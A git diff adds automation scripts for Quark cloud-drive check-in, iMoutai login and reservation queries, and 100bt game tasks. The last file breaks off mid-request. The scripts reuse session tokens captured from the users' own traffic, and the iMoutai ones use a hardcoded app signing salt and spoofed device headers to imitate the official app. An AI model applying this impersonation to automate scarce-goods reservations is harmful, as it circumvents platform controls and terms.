a/脚本库/APP版/抓包/夸克自动签到/2026-05-14_quark_6ffca99d.py b/脚本库/APP版/抓包/夸克自动签到/2026-05-14_quark_6ffca99d.py new file mode 100644 index 0000000..c423053 --- /dev/null +++ b/脚本库/APP版/抓包/夸克自动签到/2026-05-14_quark_6ffca99d.py @@ -0,0 +1,258 @@ +# Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/quark.py +# Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/quark.py +# Repo: smallfawn/QLScriptPublic +# Path: daily/quark.py +# UploadedAt: 2026-05-14T17:47:57+08:00 +# SHA256: 6ffca99dbbda1318e011f003244908a1c83db172b3549699b254b309b0fe5a00 +# Category: APP版/抓包 +# Evidence: cookie/token/authorization/header + +''' +new Env('夸克自动签到') +cron: 0 9 * * * + +V2版-目前有效 +使用移动端接口修复每日自动签到,移除原有的“登录验证”,参数有效期未知 + +V1版-已失效 +受大佬 @Cp0204 的仓库项目启发改编 +源码来自 GitHub 仓库:https://github.com/Cp0204/quark-auto-save +提取“登录验证”“签到”“领取”方法封装到下文中的“Quark”类中 + +Author: BNDou +Date: 2024-03-15 21:43:06 +LastEditTime: 2025-11-18 03:49:26 +FilePath: \Auto_Check_In\checkIn_Quark.py +Description: +抓包流程: + 【手机端】 + ①打开抓包,手机端访问抽奖页 + ②找到url为 https://drive-m.quark.cn/1/clouddrive/act/growth/reward 的请求信息 + ③复制整段url,该链接后面必须要有参数: kps sign vcode,粘贴到环境变量 + 环境变量名为 COOKIE_QUARK 多账户用 回车 或 && 分开 + user字段是用户名 (可是随意填写,多账户方便区分) + 例如: user=张三; url=https://drive-m.quark.cn/1/clouddrive/act/growth/reward?xxxxxx=xxxxxx&kps=abcdefg&sign=hijklmn&vcode=111111111; + 旧版环境变量格式也兼容,例如: user=张三; kps=abcdefg; sign=hijklmn; vcode=111111111; +''' +import os +import re +import sys + +import requests + +# 测试用环境变量 +# os.environ['COOKIE_QUARK'] = '' + +try: # 异常捕捉 + from notify import send # 导入消息通知模块 +except Exception as err: # 异常捕捉 + print('%s\n❌加载通知服务失败~' % err) + + +# 获取环境变量 +def get_env(): + # 判断 COOKIE_QUARK是否存在于环境变量 + if "COOKIE_QUARK" in os.environ: + # 读取系统变量以 \n 或 && 分割变量 + cookie_list = re.split('\n|&&', os.environ.get('COOKIE_QUARK')) + else: + # 标准日志输出 + print('❌未添加COOKIE_QUARK变量') + send('夸克自动签到', '❌未添加COOKIE_QUARK变量') + # 脚本退出 + sys.exit(0) + + return cookie_list + + +class Quark: + ''' + Quark类封装了签到、领取签到奖励的方法 + ''' + def __init__(self, user_data): + ''' + 初始化方法 + :param user_data: 用户信息,用于后续的请求 + ''' + self.param = user_data + + def convert_bytes(self, b): + ''' + 将字节转换为 MB GB TB + :param b: 字节数 + :return: 返回 MB GB TB + ''' + units = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB") + i = 0 + while b >= 1024 and i < len(units) - 1: + b /= 1024 + i += 1 + return f"{b:.2f} {units[i]}" + + def get_growth_info(self): + ''' + 获取用户当前的签到信息 + :return: 返回一个字典,包含用户当前的签到信息 + ''' + url = "https://drive-m.quark.cn/1/clouddrive/capacity/growth/info" + querystring = { + "pr": "ucpro", + "fr": "android", + "kps": self.param.get('kps'), + "sign": self.param.get('sign'), + "vcode": self.param.get('vcode') + } + response = requests.get(url=url, params=querystring).json() + #print(response) + if response.get("data"): + return response["data"] + else: + return False + + def get_growth_sign(self): + ''' + 获取用户当前的签到信息 + :return: 返回一个字典,包含用户当前的签到信息 + ''' + url = "https://drive-m.quark.cn/1/clouddrive/capacity/growth/sign" + querystring = { + "pr": "ucpro", + "fr": "android", + "kps": self.param.get('kps'), + "sign": self.param.get('sign'), + "vcode": self.param.get('vcode') + } + data = {"sign_cyclic": True} + response = requests.post(url=url, json=data, params=querystring).json() + #print(response) + if response.get("data"): + return True, response["data"]["sign_daily_reward"] + else: + return False, response["message"] + + def queryBalance(self): + ''' + 查询抽奖余额 + ''' + url = "https://coral2.quark.cn/currency/v1/queryBalance" + querystring = { + "moduleCode": "1f3563d38896438db994f118d4ff53cb", + "kps": self.param.get('kps'), + } + response = requests.get(url=url, params=querystring).json() + # print(response) + if response.get("data"): + return response["data"]["balance"] + else: + return response["msg"] + + def do_sign(self): + ''' + 执行签到任务 + :return: 返回一个字符串,包含签到结果 + ''' + log = "" + # 每日领空间 + growth_info = self.get_growth_info() + if growth_info: + log += ( + f" {'88VIP' if growth_info['88VIP'] else '普通用户'} {self.param.get('user')}\n" + f"💾 网盘总容量:{self.convert_bytes(growth_info['total_capacity'])}," + f"签到累计容量:") + if "sign_reward" in growth_info['cap_composition']: + log += f"{self.convert_bytes(growth_info['cap_composition']['sign_reward'])}\n" + else: + log += "0 MB\n" + if growth_info["cap_sign"]["sign_daily"]: + log += ( + f"✅ 签到日志: 今日已签到+{self.convert_bytes(growth_info['cap_sign']['sign_daily_reward'])}," + f"连签进度({growth_info['cap_sign']['sign_progress']}/{growth_info['cap_sign']['sign_target']})\n" + ) + else: + sign, sign_return = self.get_growth_sign() + if sign: + log += ( + f"✅ 执行签到: 今日签到+{self.convert_bytes(sign_return)}," + f"连签进度({growth_info['cap_sign']['sign_progress'] + 1}/{growth_info['cap_sign']['sign_target']})\n" + ) + else: + log += f"❌ 签到异常: {sign_return}\n" + else: + log += f"❌ 签到异常: 获取成长信息失败\n" + + return log + + +def extract_params(url): + ''' + 从URL中提取所需的参数 + :param url: 包含参数的URL + :return: 返回一个字典,包含所需的参数 + ''' + # 提取URL中的查询参数部分(?后面的内容) + query_start = url.find('?') + query_string = url[query_start + 1:] if query_start != -1 else '' + + # 解析查询参数 + params = {} + for param in query_string.split('&'): + if '=' in param: + key, value = param.split('=', 1) + params[key] = value + + # 返回所需的参数 + return { + 'kps': params.get('kps', ''), + 'sign': params.get('sign', ''), + 'vcode': params.get('vcode', '') + } + + +def main(): + ''' + 主函数 + :return: 返回一个字符串,包含签到结果 + ''' + msg = "" + global cookie_quark + cookie_quark = get_env() + + print("✅ 检测到共", len(cookie_quark), "个夸克账号\n") + + i = 0 + while i < len(cookie_quark): + # 获取user_data参数 + user_data = {} # 用户信息 + for a in cookie_quark[i].replace(" ", "").split(';'): + if not a == '': + user_data.update({a[0:a.index('=')]: a[a.index('=') + 1:]}) + + # 从url参数中提取额外信息 + if 'url' in user_data: + url_params = extract_params(user_data['url']) + user_data.update(url_params) + # print(user_data) + + # 开始任务 + log = f"🙍🏻‍♂️ 第{i + 1}个账号" + msg += log + # 登录 + log = Quark(user_data).do_sign() + msg += log + "\n" + + i += 1 + + print(msg) + + try: + send('夸克自动签到', msg) + except Exception as err: + print('%s\n❌ 错误,请查看运行日志!' % err) + + return msg[:-1] + + +if __name__ == "__main__": + print("----------夸克网盘开始签到----------") + main() + print("----------夸克网盘签到完毕----------") \ No newline at end of file diff --git a/脚本库/APP版/账密/1_获取登录验证码/2025-11-20_1_generate_code_8c9e80a6.py b/脚本库/APP版/账密/1_获取登录验证码/2025-11-20_1_generate_code_8c9e80a6.py new file mode 100644 index 0000000..1705c38 --- /dev/null +++ b/脚本库/APP版/账密/1_获取登录验证码/2025-11-20_1_generate_code_8c9e80a6.py @@ -0,0 +1,123 @@ +# Source: https://github.com/AkenClub/ken-iMoutai-Script/blob/main/1_generate_code.py +# Raw: https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/1_generate_code.py +# Repo: AkenClub/ken-iMoutai-Script +# Path: 1_generate_code.py +# UploadedAt: 2025-11-20T09:54:34+08:00 +# SHA256: 8c9e80a6466a2291a043e5852ed029aa0d610a9f58974757a3b82c4ecd675d34 +# Category: APP版/账密 +# Evidence: username/password/mobile/login + +import time +import hashlib +import uuid +import requests +import logging +import json +import re +""" +1、获取登录验证码,获取 DEVICE_ID、MT_VERSION 等数据 +""" + +# ------ 填写以下 1 个变量值 -------- + +# 填写手机号码,收到验证码后在 login.py 中填写验证码 +PHONE_NUMBER = "" +# -------------------- + +# -------- 非必填 ------------ +# 设备 ID,留空则自动生成; +# 若是想要保留之前的设备 ID,可以在这里填写之前的值,则不会生成新的设备 ID。 +DEVICE_ID_DEFAULT = "" +# -------------------- +''' +cron: 1 1 1 1 * +new Env("1_获取登录验证码") +''' + +# ***** 以下内容不用动 ***** + +logging.basicConfig(level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s') + +SALT = "2af72f100c356273d46284f6fd1dfc08" + + +def get_device_id(): + if DEVICE_ID_DEFAULT: + return DEVICE_ID_DEFAULT + return str(uuid.uuid4()) + + +def signature(content, time): + text = SALT + content + str(time) + md5 = hashlib.md5(text.encode()).hexdigest() + return md5 + + +def send_code(mobile, device_id, mt_version): + cur_time = int(time.time() * 1000) + data = { + "mobile": mobile, + "md5": signature(mobile, cur_time), + "timestamp": str(cur_time) + } + headers = { + "MT-Device-ID": device_id, + "MT-APP-Version": mt_version, + "User-Agent": "iOS;16.3;Apple;?unrecognized?", + "Content-Type": "application/json" + } + url = "https://app.moutai519.com.cn/xhr/front/user/register/vcode" + response = requests.post(url, headers=headers, data=json.dumps(data)) + json_response = response.json() + + if json_response.get("code") == 2000: + logging.info(f"「发送验证码返回」:{json.dumps(json_response)}") + return True + else: + logging.error(f"「发送验证码-失败」:{json.dumps(json_response)}") + raise Exception("发送验证码错误") + + +def get_mt_version(): + url = "https://apps.apple.com/cn/app/i%E8%8C%85%E5%8F%B0/id1600482450" + with requests.get(url) as response: + response.encoding = 'utf-8' # 确保使用正确的编码 + html_content = response.text + + # 使用正则表达式匹配版本号(已过时,这里只是作为兼容,避免又使用回这种规则) + pattern = re.compile(r'new__latest__version">(.*?)

', re.DOTALL) + match = pattern.search(html_content) + + if not match: + # 新的匹配方式 + pattern = re.compile(r'class="metadata[^"]*">\s*]*>(.*?)', re.DOTALL) + match = pattern.search(html_content) + + if match: + mt_version = match.group(1).strip().replace('版本 ', '') # 去掉前后的空白字符 + return mt_version + + raise Exception("获取版本号失败") + + +if __name__ == "__main__": + # 判断 PHONE_NUMBER 是否为空 + if not PHONE_NUMBER: + logging.error("「发送验证码-失败」:请填写手机号码") + raise Exception("请填写手机号码") + + try: + mt_version = get_mt_version() + device_id = get_device_id() + + # 发送验证码 + if send_code(PHONE_NUMBER, device_id, mt_version): + logging.info(f"{PHONE_NUMBER}:验证码发送成功,请注意查收!") + + logging.info("****************************") + logging.info("记录以下信息用于后续登录:") + logging.info(f"设备ID - DEVICE_ID:{device_id}") + logging.info(f"版本号 - MT_VERSION:{mt_version}") + except Exception as e: + logging.error(e) diff --git a/脚本库/APP版/账密/2_登录/2025-11-20_2_login_15377770.py b/脚本库/APP版/账密/2_登录/2025-11-20_2_login_15377770.py new file mode 100644 index 0000000..9dd442a --- /dev/null +++ b/脚本库/APP版/账密/2_登录/2025-11-20_2_login_15377770.py @@ -0,0 +1,104 @@ +# Source: https://github.com/AkenClub/ken-iMoutai-Script/blob/main/2_login.py +# Raw: https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/2_login.py +# Repo: AkenClub/ken-iMoutai-Script +# Path: 2_login.py +# UploadedAt: 2025-11-20T09:54:34+08:00 +# SHA256: 153777702f935023b805885108b95cc7ecbd1b8f473d6024e20a4f594909fcba +# Category: APP版/账密 +# Evidence: username/password/mobile/login + +import time +import hashlib +import requests +import json +import logging +""" +2、登录,获取 USER_ID、TOKEN、COOKIE 等数据 + +上一步获取到验证码后,根据上一步输出的版本号和设备ID,填入下面信息进行登录请求, +运行后,输出用户信息,并记录用于后续预约。 + +""" +# ------ 填写以下 4 个变量值 -------- + +# 手机号码,和上一步的手机号码一致 +PHONE_NUMBER = '' +# 验证码,填写收到的验证码 +CODE = "" +# 设备 ID,和上一步的设备 ID 一致 +DEVICE_ID = "" +# 版本号,和上一步的版本号一致 +MT_VERSION = "" + +# -------------------- +''' +cron: 1 1 1 1 * +new Env("2_登录") +''' + +# ***** 以下内容不用动 ***** + +SALT = "2af72f100c356273d46284f6fd1dfc08" +logging.basicConfig(level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s') + + +def signature(content, time): + text = SALT + content + str(time) + md5 = hashlib.md5(text.encode()).hexdigest() + return md5 + + +def login(mobile, code, device_id, mt_version): + cur_time = int(time.time() * 1000) + data = { + "mobile": mobile, + "vCode": code, + "md5": signature(mobile + code, cur_time), + "timestamp": str(cur_time), + "MT-APP-Version": mt_version + } + headers = { + "MT-Device-ID": device_id, + "MT-APP-Version": mt_version, + "User-Agent": "iOS;16.3;Apple;?unrecognized?", + "Content-Type": "application/json" + } + url = "https://app.moutai519.com.cn/xhr/front/user/register/login" + response = requests.post(url, headers=headers, data=json.dumps(data)) + json_response = response.json() + + # 输出登录请求的返回结果 + logging.info(f"「登录请求返回」:{json.dumps(json_response)}") + + if json_response.get("code") == 2000: + logging.info("「登录请求-成功」") + user_data = json_response.get("data", {}) + filtered_data = { + k: v + for k, v in user_data.items() if k not in + ["idType", "verifyStatus", "idCode", "birthday", "userTag"] + } + return filtered_data + else: + logging.error("「登录请求-失败」") + raise Exception("登录失败,本地错误日志已记录") + + +if __name__ == "__main__": + # 判断入参 + if not PHONE_NUMBER or not CODE or not DEVICE_ID or not MT_VERSION: + logging.error("「登录请求-失败」:缺少必要参数") + raise Exception("缺少必要参数") + + result = login(PHONE_NUMBER, CODE, DEVICE_ID, MT_VERSION) + logging.info(f"「结果:用户信息」:{json.dumps(result)}") + + logging.info("****************************") + logging.info("记录以下信息用于后续预约:") + logging.info(f"手机号码 - PHONE_NUMBER:{PHONE_NUMBER}") + logging.info(f"设备ID - DEVICE_ID:{DEVICE_ID}") + logging.info(f"版本号 - MT_VERSION:{MT_VERSION}") + logging.info(f"用户ID - USER_ID:{result['userId']}") + logging.info(f"Token - TOKEN:{result['token']}") + logging.info(f"Cookie - COOKIE:{result['cookie']}") diff --git a/脚本库/APP版/账密/98_查询申购结果/2025-11-20_98_check_reservation_result_43d3c067.py b/脚本库/APP版/账密/98_查询申购结果/2025-11-20_98_check_reservation_result_43d3c067.py new file mode 100644 index 0000000..423361c --- /dev/null +++ b/脚本库/APP版/账密/98_查询申购结果/2025-11-20_98_check_reservation_result_43d3c067.py @@ -0,0 +1,276 @@ +# Source: https://github.com/AkenClub/ken-iMoutai-Script/blob/main/98_check_reservation_result.py +# Raw: https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/98_check_reservation_result.py +# Repo: AkenClub/ken-iMoutai-Script +# Path: 98_check_reservation_result.py +# UploadedAt: 2025-11-20T09:54:34+08:00 +# SHA256: 43d3c06749fa2ee28e34dee08daf91b99b3b8eb224b7095e6bad3d444d3e10e2 +# Category: APP版/账密 +# Evidence: username/password/mobile/login + +""" +98、查询申购结果 + +*** 需要安装依赖 PyJWT *** + +通知:运行结果会调用青龙面板的通知渠道。 + +配置环境变量:KEN_IMAOTAI_ENV +-- 在旧版本青龙(例如 v2.13.8)中,使用 $ 作为分隔符时会出现解析环境变量失败,此时可以把 `$` 分隔符换为 `#` 作为分隔符。 +-- 📣 怕出错?**建议直接使用 `#` 作为分隔符即可** (2024-10-15 更新支持)。 +内容格式为:PHONE_NUMBER$USER_ID$DEVICE_ID$MT_VERSION$PRODUCT_ID_LIST$SHOP_ID^SHOP_MODE^PROVINCE^CITY$LAT$LNG$TOKEN$COOKIE +解释:手机号码$用户ID$设备ID$版本号$商品ID列表$店铺ID店铺缺货时自动采用的模式^省份^城市$纬度$经度$TOKEN$COOKIE +多个用户时使用 & 连接 + +说明:^SHOP_MODE^PROVINCE^CITY 为可选 + +常量。 +- PHONE_NUMBER: 用户的手机号码。 --- 自己手机号码 +- CODE: 短信验证码。 --- 运行 1_generate_code.py 获取 +- DEVICE_ID: 设备的唯一标识符。 --- 运行 1_generate_code.py 获取 +- MT_VERSION: 应用程序的版本号。 --- 运行 1_generate_code.py 获取 +- USER_ID: 用户的唯一标识符。 --- 运行 2_login.py 获取 +- TOKEN: 用于身份验证的令牌。 --- 运行 2_login.py 获取 +- COOKIE: 用于会话管理的Cookie。 --- 运行 2_login.py 获取 +- PRODUCT_ID_LIST: 商品ID列表,表示用户想要预约的商品。--- 运行 3_retrieve_shop_and_product_info.py 获取 +- SHOP_ID: 店铺的唯一标识符。 --- 运行 3_retrieve_shop_and_product_info.py 获取 + 可设置为 AUTO,则根据 SHOP_MODE 的值来选择店铺 ID。 +- SHOP_MODE:店铺缺货模式,可选值为NEAREST(距离最近)或INVENTORY(库存最多)。设置该值时,需要同时设置 PROVINCE 和 CITY。 + 非必填,但 SHOP_ID 设置 AUTO 时为必填,需要同时设置 SHOP_MODE、PROVINCE 和 CITY。 +- PROVINCE: 用户所在的省份。 --- 与 3_retrieve_shop_and_product_info.py 填写的省份一致 + 非必填,但 SHOP_MODE 设置为 NEAREST 或 INVENTORY 时为必填。 +- CITY: 用户所在的城市。 --- 与 3_retrieve_shop_and_product_info.py 填写的城市一致 + 非必填,但 SHOP_MODE 设置为 NEAREST 或 INVENTORY 时为必填。 +- LAT: 用户所在位置的纬度。 --- 运行 3_retrieve_shop_and_product_info.py 获取 +- LNG: 用户所在位置的经度。 --- 运行 3_retrieve_shop_and_product_info.py 获取 + +""" + +import datetime +import time +import requests +import json +import os +import ast +import io +import logging +import re + +from notify import send + +# 每日 18:03 定时查询并通知 +''' +cron: 03 18 * * * +new Env("98_查询申购结果") +''' + +# 创建 StringIO 对象 +log_stream = io.StringIO() + +# 配置 logging +logger = logging.getLogger() +logger.setLevel(logging.INFO) + +# 创建控制台 Handler +console_handler = logging.StreamHandler() +console_handler.setFormatter( + logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')) + +# 创建 StringIO Handler +stream_handler = logging.StreamHandler(log_stream) +# stream_handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')) + +# 将两个 Handler 添加到 logger +logger.addHandler(console_handler) +logger.addHandler(stream_handler) + +# 调试模式 +DEBUG = False + +# 读取 KEN_IMAOTAI_ENV 环境变量 +KEN_IMAOTAI_ENV = os.getenv('KEN_IMAOTAI_ENV', '') + +# 解析 KEN_IMAOTAI_ENV 环境变量并保存到 user 列表 +users = [] +if KEN_IMAOTAI_ENV: + env_list = KEN_IMAOTAI_ENV.split('&') + for env in env_list: + try: + # 使用 re.split() 分割字符串,支持 '#' 和 '$' + split_values = re.split(r'[#$]', env) + + PHONE_NUMBER, USER_ID, DEVICE_ID, MT_VERSION, PRODUCT_ID_LIST, SHOP_INFO, LAT, LNG, TOKEN, COOKIE = split_values + + SHOP_MODE = '' + PROVINCE = '' + CITY = '' + + if '^' in SHOP_INFO: + parts = SHOP_INFO.split('^') + if len(parts) > 1: + # 检测 parts 长度是否为 4,否则抛出异常 + if len(parts) != 4: + raise Exception( + "🚫 店铺缺货模式值错误,请检查是否为 SHOP_ID^SHOP_MODE^PROVINCE^CITY" + ) + SHOP_ID, SHOP_MODE, PROVINCE, CITY = parts + # 检测 SHOP_MODE 是否为 NEAREST 或 INVENTORY + if SHOP_MODE not in ['NEAREST', 'INVENTORY', '']: + raise Exception( + "🚫 店铺缺货模式值错误,请检查 SHOP_MODE 值是否为 NEAREST(<默认> 距离最近) 或 INVENTORY(库存最多) 或 空字符串(不选择其他店铺)" + ) + # 如果 SHOP_MODE 值合法,则需要配合检测 PROVINCE 和 CITY 是否为空(接口需要用到这些值) + if not PROVINCE or not CITY: + raise Exception( + "🚫 店铺缺货模式值为 NEAREST 或 INVENTORY 时,需要同时设置 PROVINCE 和 CITY" + ) + else: + logging.warning( + "🚨🚨 建议根据环境变量格式,设置 SHOP_ID^SHOP_MODE^PROVINCE^CITY 值,否则无法在指定店铺缺货时自动预约其他店铺!🚨🚨" + ) + # 如果 SHOP_INFO 没有 ^ 符号,则 SHOP_ID 为 SHOP_INFO + SHOP_ID = SHOP_INFO + + # 如果 SHOP_ID 为 AUTO,检查 SHOP_MODE 是否为空 + if SHOP_ID == 'AUTO' and not SHOP_MODE: + raise Exception( + "🚫 店铺缺货模式值错误,SHOP_ID 值为 AUTO 时,需设置 SHOP_MODE、PROVINCE 和 CITY 值 " + ) + + user = { + 'PHONE_NUMBER': PHONE_NUMBER.strip(), + 'USER_ID': USER_ID.strip(), + 'DEVICE_ID': DEVICE_ID.strip(), + 'MT_VERSION': MT_VERSION.strip(), + 'PRODUCT_ID_LIST': ast.literal_eval(PRODUCT_ID_LIST.strip()), + 'SHOP_ID': SHOP_ID.strip(), + 'SHOP_MODE': SHOP_MODE.strip(), + 'PROVINCE': PROVINCE.strip(), + 'CITY': CITY.strip(), + 'LAT': LAT.strip(), + 'LNG': LNG.strip(), + 'TOKEN': TOKEN.strip(), + 'COOKIE': COOKIE.strip() + } + # 检查字段是否完整且有值,不检查 SHOP_MODE、PROVINCE、CITY 字段(PROVINCE 和 CITY 用于 SHOP_MODE 里,而 SHOP_MODE 可选) + required_fields = [ + 'PHONE_NUMBER', 'USER_ID', 'DEVICE_ID', 'MT_VERSION', + 'PRODUCT_ID_LIST', 'SHOP_ID', 'LAT', 'LNG', 'TOKEN', 'COOKIE' + ] + if all(user.get(field) for field in required_fields): + # 判断 PRODUCT_ID_LIST 长度是否大于 0 + if len(user['PRODUCT_ID_LIST']) > 0: + users.append(user) + else: + raise Exception("🚫 预约商品列表 - PRODUCT_ID_LIST 值为空,请添加后重试") + else: + logging.info(f"🚫 用户信息不完整: {user}") + except Exception as e: + errText = f"🚫 KEN_IMAOTAI_ENV 环境变量格式错误: {e}" + send("i茅台预约日志:", errText) + raise Exception(errText) + + logging.info("找到以下用户配置:") + # 输出用户信息 + for index, user in enumerate(users): + if DEBUG: + logging.info(f"用户 {index + 1}: {user}") + continue + logging.info(f"用户 {index + 1}: 📞 {user['PHONE_NUMBER']}") + +else: + errText = "🚫 KEN_IMAOTAI_ENV 环境变量未定义" + send("i茅台预约日志:", errText) + raise Exception(errText) + + +# 生成请求头 +def generate_headers(device_id, mt_version, token): + mt_k = f'{int(time.time() * 1000)}' + headers = { + "User-Agent": "iOS;16.3;Apple;?unrecognized?", + "MT-Device-ID": device_id, + "MT-APP-Version": mt_version, + 'MT-Token': token, + 'MT-Network-Type': 'WIFI', + 'MT-User-Tag': '0', + 'MT-K': mt_k, + 'MT-Bundle-ID': 'com.moutai.mall', + 'MT-R': 'clips_OlU6TmFRag5rCXwbNAQ/Tz1SKlN8THcecBp/HGhHdw==', + 'MT-SN': 'clips_ehwpSC0fLBggRnJAdxYgFiAYLxl9Si5PfEl/TC0afkw=' + } + return headers + + +# 查询申购结果 +def check_reservation_result(token, device_id, mt_version): + global DEBUG + try: + url = f"https://app.moutai519.com.cn/xhr/front/mall/reservation/list/pageOne/queryV2" + headers = generate_headers(device_id, mt_version, token) + + response = requests.get(url, headers=headers) + resultData = json.loads(response.text) + resultCode = resultData.get("code") + if resultCode == 4820: + message = resultData.get("data", {}).get("updateDesc", "API 可能限制了 APP 版本,可以尝试重新生成环境变量") + raise Exception(f"({resultCode}){message}") + elif resultCode != 2000: + message = resultData.get("message") + raise Exception(f"({resultCode}){message}") + + # 处理预约结果 + reservations = resultData.get("data", {}).get("reservationItemVOS", []) + if not reservations: + logging.info("🚫 暂无申购记录") + return + + # 获取当天日期 + today = datetime.datetime.now().date() + today_str = today.strftime("%Y-%m-%d") + logging.info(f"📅 今天的日期是: {today_str}") + + for item in reservations: + # 获取预约时间 + reservation_time = datetime.datetime.fromtimestamp( + item.get("reservationTime") / 1000).date() + # 筛选今天预约的商品 + if reservation_time == today: + status_text = { + 0: "⌛️ 静候申购结果", + 1: "❌ 申购失败", + 2: "🎉 申购成功" + }.get(item.get("status"), "未知状态") + + session_name = f"[{item.get('sessionName', '')}]" if item.get( + 'sessionName') else "" + item_name = item.get("itemName", "") + item_id = item.get("itemId", "") + + # 输出结果 + logging.info( + f"🍺 {session_name}[{item_id}] {item_name}:{status_text}。") + + except Exception as e: + logging.error(f"🚫 查询申购结果失败: {e}") + + +if __name__ == "__main__": + + logging.info('--------------------------') + logging.info("💬 申购成功后将以短信形式通知您,请您在申购成功次日18:00前选择支付方式,并根据提示完成支付。") + for user in users: + try: + logging.info('--------------------------') + logging.info(f"📞 用户 {user['PHONE_NUMBER']} 开始查询申购结果") + + check_reservation_result(user['TOKEN'], + user['DEVICE_ID'], user['MT_VERSION']) + except Exception as e: + logging.error( + f"🚫 用户 {user['PHONE_NUMBER']} 查询异常: {e},请到 App 上查看申购结果。") + + logging.info('--------------------------') + logging.info("✅ 所有用户查询完成") + + log_contents = log_stream.getvalue() + send("i茅台 查询申购结果日志:", log_contents) diff --git a/脚本库/web版/抓包/100bt百田游戏/2025-06-28_百田网_8da05cf4.js b/脚本库/web版/抓包/100bt百田游戏/2025-06-28_百田网_8da05cf4.js new file mode 100644 index 0000000..c9b7f5d --- /dev/null +++ b/脚本库/web版/抓包/100bt百田游戏/2025-06-28_百田网_8da05cf4.js @@ -0,0 +1,282 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%99%BE%E7%94%B0%E7%BD%91.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%99%BE%E7%94%B0%E7%BD%91.js +// # Repo: jdqlscript/toulu +// # Path: 百田网.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 8da05cf4aa35a18299f84d94059ceb07cf8ad8e0168032df913209409f4c32a9 +// # Category: web版/抓包 +// # Evidence: web/H5关键词 + cookie/token/header +// + +/** + + TL库:https://github.com/3288588344/toulu.git + tg频道:https://t.me/TLtoulu + QQ频道:https://pd.qq.com/s/672fku8ge + + + + + * 入口:http://www.100bt.com/ + * cron 44 14 * * * baitianGame.js + * Show:完成每日做任务和积分抢购(兑换) + * //多账号分隔符 换行 或者 @ + * 变量名:baitianGameCookie + * 变量值:http://www.100bt.com/m/creditMall/?gameId=2#home 网页的cookie 随便找个商品兑换抓http://service.100bt.com/creditmall/ + * 请求头Header cookie 全部 + * scriptVersionNow = "1.3.1"; + * + 兑换ID + 配置文件 export baitianExchangeId=0 不用引号 0代表兑换塔罗牌*1套 不写变量默认不兑换 + //时序残响塔罗牌*1套 0 + //奥奇传说餐具盒*1 1 + //奥拉毛绒亚比球(随机款)*1 2 + //1奥币 3 + //小精灵白色毛绒包*1 4 + //奥比岛软糯抱抱熊*1 5 + //赤月毛绒公仔 6 + //奥比岛PU皮潮流挎包 7 + //奥比岛小精灵毛绒公仔 8 + //时序残响天文台套装*1 9 + //奥奇毛绒眼罩(随机款)*1 10 + //奥奇手游小诺捏捏团*1 11 + //"奥比岛幸运按摩捶*1" 12 + //"奥拉星女仆咖啡立牌*1套", 13 + //"时序残响方形炫酷徽章*1" 14 + //"奥比岛爱心抱枕*1" 15 + //"奥比岛多彩明信片*5" 16 + //"奥奇传说手游明信片*3", 17 + //"奥奇阿修公仔*1" 18 + //"时序残响角色立牌*1" 19 + //"奥奇传说束口袋*1" 20 + // "奥拉星手游兑换码", 21 + //"食物语手游精美书签*5" 22 + // "食物语精美贴纸*1" 23 + // "奥拉星页游礼包" 24. + //"奥奇页游礼包", 25 + //"10奥币"26 + //"奥比岛页游礼包" 27 + //"奥拉星战斗卡牌*1" 28 + //"奥雅页游礼包" 29 + //"30奥币" 30 + */ + +const $ = new Env("100bt百田游戏"); +const notify = $.isNode() ? require("./sendNotify") : ""; +let ckName = "baitianGameCookie"; +let envSplitor = ["@", "\n"]; //多账号分隔符 +let strSplitor = "&"; //多变量分隔符 +let userIdx = 0; +let userList = []; +class UserInfo { + constructor(str) { + this.index = ++userIdx; + this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符 + this.ckStatus = true; + this.taskIdList = []; + } + async main() { + $.log(`正在做任务请耐心等待`); + await this.do_list() + if (this.taskIdList.length > 0) { + console.log(this.taskIdList) + for (let taskId of this.taskIdList) { + console.log(`正在做[${taskId.taskName}]任务`) + await $.wait(10000); + await this.do_task(taskId.taskId); + } + } + + if (process.env["baitianExchangeId"]) { + await this.do_exchange(process.env["baitianExchangeId"]); + } + } + async do_list() { + let expando = "jQuery" + ("1.8.3" + Math.random()).replace(/\D/g, ""); + let time1 = new Date().getTime(); + let time2 = new Date().getTime(); + try { + let options = { + fn: "任务列表查询", + method: "get", + url: `http://service.100bt.com/creditmall/activity/daily_task_list.jsonp??callback=${expando}_${time1}&gameId=2&_=${time2}`, + headers: { + Accept: "*/*", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", + Cookie: this.ck, + Host: "service.100bt.com", + "Proxy-Connection": "keep-alive", + Referer: "http://www.100bt.com/", + "User-Agent": + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0", + }, + }; + let { body: result } = await httpRequest(options); + //console.log(options); + //result = JSON.parse(result); + result = result.replace(`${expando}_${time1}`, "") + result = result.replace(`(`, "") + result = result.replace(`)`, "") + result = JSON.parse(result) + if (result.jsonResult.code == "0") { + for (let taskId of result.jsonResult.data) { + if (taskId.status == "0") { + this.taskIdList.push({ taskName: taskId.name, taskId: taskId.taskID }) + } + } + } + } catch (e) { + console.log(e); + } + } + async do_task(taskId) { + //taskId=100 签到 + //"taskID": 191, 奥拉星招募 + //"taskID": 187, 预约奥拉星2手游 + //"taskID": 185, 测测你的额外1小时 + // "taskID": 188, 进入亚比概念站 + //"taskID": 22每日查看最新预告 + let expando = "jQuery" + ("1.8.3" + Math.random()).replace(/\D/g, ""); + let time1 = new Date().getTime(); + let time2 = new Date().getTime(); + try { + let options = { + fn: "做任务", + method: "get", + url: 